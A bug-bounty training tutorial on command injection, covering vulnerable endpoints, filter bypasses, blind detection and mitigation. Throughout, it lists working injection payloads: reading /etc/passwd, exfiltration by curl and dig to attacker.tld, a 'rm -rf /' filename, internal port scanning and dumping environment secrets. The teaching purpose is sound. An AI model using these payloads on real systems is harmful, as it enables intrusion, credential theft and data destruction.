Intermediate levelFree

Command Injection — bypasses with spaces, encoding and backticks

Command injection in endpoints that pass input to the shell. Filter bypasses: ${IFS}, $@, ;|&, encoded null bytes, output redirection to a file.

Gorka El BochiMay 9, 202610 min

Quick answer

Command injection happens when user input reaches the server's shell without sanitization. Typical vectors: endpoints that pass to system(), exec(), popen(), or command construction for converters (ImageMagick, ffmpeg, ping, traceroute). The bypasses focus on chaining operators (;|&), alternative spaces (${IFS}, $@), encoding (URL, hex), and output redirection when there is no visible output.


Typical vectors

Endpoints that call the shell:

  • Network tools: ping, traceroute, nslookup — the input is the IP/host.
  • File converters: ImageMagick (convert input.jpg ... output.png), ffmpeg, LibreOffice.
  • Backups / restore: file paths in the DB/filesystem.
  • Admin endpoints: deploy, restart service, logs (tail -f /logs/<service>).
  • PDF generators: wkhtmltopdf <url>, headless Chrome.

Any endpoint that takes "as long as a command takes" (not milliseconds, but seconds) is a candidate.


Basic injection

If ?host=8.8.8.8 runs as ping -c 1 8.8.8.8, try:

ini
?host=8.8.8.8;id
?host=8.8.8.8|id
?host=8.8.8.8&id
?host=8.8.8.8&&id
?host=8.8.8.8`id`
?host=8.8.8.8$(id)
?host=8.8.8.8\nid          (URL-encoded \n = %0a)

The one that returns the output of id (or an error revealing it) confirms RCE.


Common bypasses

1. Without spaces

If the filter blocks the space:

bash
{IFS}                  # Internal Field Separator
${IFS}                 # también funciona
$IFS                   # bash interpola
$IFS$9                 # IFS + var $9 (vacía) → separador
{cmd,arg1,arg2}        # brace expansion: ls{,/etc}
%09                    # tab URL-encoded (a veces parseado como espacio)

Example:

bash
# Original: ping -c 1 $host
# Filtra espacios

?host=8.8.8.8;id${IFS}-u
?host=8.8.8.8;cat${IFS}/etc/passwd
?host=8.8.8.8;{cat,/etc/passwd}

2. Without special characters (;|& filtered)

  • \n (%0a): a newline sometimes passes filters that only block an explicit list.
  • Subshell with backticks: \id``.
  • Subshell with $(): $(id).
  • Conditional AND: && id (if only one & is filtered).

3. Encoded payloads

  • URL-encoded: %3B (;), %7C (|), %26 (&), %24%28...%29 ($(...)).
  • Double URL-encoded: %253B when the app decodes twice.
  • Hex: in curl \x3b for ;.

4. Output redirection when you can't see the response

If the endpoint doesn't return stdout, redirect to an accessible file:

bash
?host=8.8.8.8;id>/var/www/html/out.txt
# Luego curl https://target.tld/out.txt

Or DNS exfiltration:

bash
?host=8.8.8.8;`id|head -c 30|base64|tr -d '='|tr '+' '_'|read v;curl $v.attacker.tld`
?host=8.8.8.8;dig $(id|md5sum|cut -d' ' -f1).attacker.tld
?host=8.8.8.8;curl attacker.tld/$(whoami)

Burp Collaborator is ideal for seeing the DNS hits.


Blind command injection

When there is no output or obvious latency, use time-based:

ini
?host=8.8.8.8;sleep 10
?host=8.8.8.8;ping -c 10 127.0.0.1
?host=8.8.8.8;`sleep${IFS}10`

If the response takes 10s vs <1s normally → confirmed.


Specific patterns

ImageMagick — MSL and ephemeral:

ImageMagick has operators that execute code. Classic vector via SVG with MSL or paths with ephemeral::

sql
ephemeral:|id
MSL[script with system call]

CVE-2016-3714 (ImageTragick) is still present in unpatched versions.

convert input.jpg output.png with a controlled name

If the output filename is controlled:

ini
filename = "shell.png\";id;\""
# Ejecuta como: convert input.jpg "shell.png";id;""

Broken quoting → injection.

ffmpeg with SSRF + RCE

ffmpeg with concat can read arbitrary files or connect to URLs:

csharp
file 'https://attacker.tld/payload.mp4'
file '|id'   (in some pipelines)

CVE-2017-7670 and derivatives.

Injectable filename

Any endpoint that passes an uploaded filename to a shell command:

bash
filename = "x.jpg; rm -rf /"
# system("convert " + filename + " out.png")

If the app doesn't escape it, direct RCE.


Cases where RCE isn't direct but still has impact

  • Arbitrary file reading via cat /etc/passwd or redirection.
  • Server-side request forgery via curl http://internal:8080/admin.
  • Discovery of internal hosts via for ip in 10.0.0.{1..254}; do nc -zv $ip 22; done.
  • Dump of environment variables via env (includes AWS keys, DB credentials).

Each one has its own severity even without escalating to full RCE.


Blind detection

When you can't easily confirm:

  1. Burp Collaborator OOB?host=$(curl${IFS}<random>.collab.tld) and observe whether a DNS/HTTP hit arrives.
  2. Time-based with different sleep values to confirm (3s, 5s, 7s, measure each).
  3. Output redirection to a web-accessible path and read it.

Hunting checklist

  • Are there endpoints with input that looks like an IP, hostname, filename, URL, path?
  • Does the response take a while (>500ms) for no obvious reason? Try injecting with ;sleep 5.
  • Does the app use converters (image/video/PDF)? Likely vector.
  • Are there "diagnostic" endpoints in admin (ping internal IP, check DNS, etc)?
  • Does the filter block ;|& but leave \n or backticks?
  • If there's no output, try OOB (DNS) and output redirection?
  • Is the uploaded file's filename used in any shell command?

Correct mitigation

  1. Never build shell commands with string concatenation. Use native APIs (net.sendto instead of system("ping")).
  2. If unavoidable (legacy), pass args as an array (not a concatenated string): execFile('ping', ['-c', '1', host]) in Node.js.
  3. Strict whitelist of the input (only valid IPs, only filenames with [a-zA-Z0-9._-]).
  4. Run the binary in a restricted sandbox/container (not as root).

Practice command injection with filter bypasses, OOB exfiltration and blind detection: Command Injection labs.

Practice this in a lab

Command Injection

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy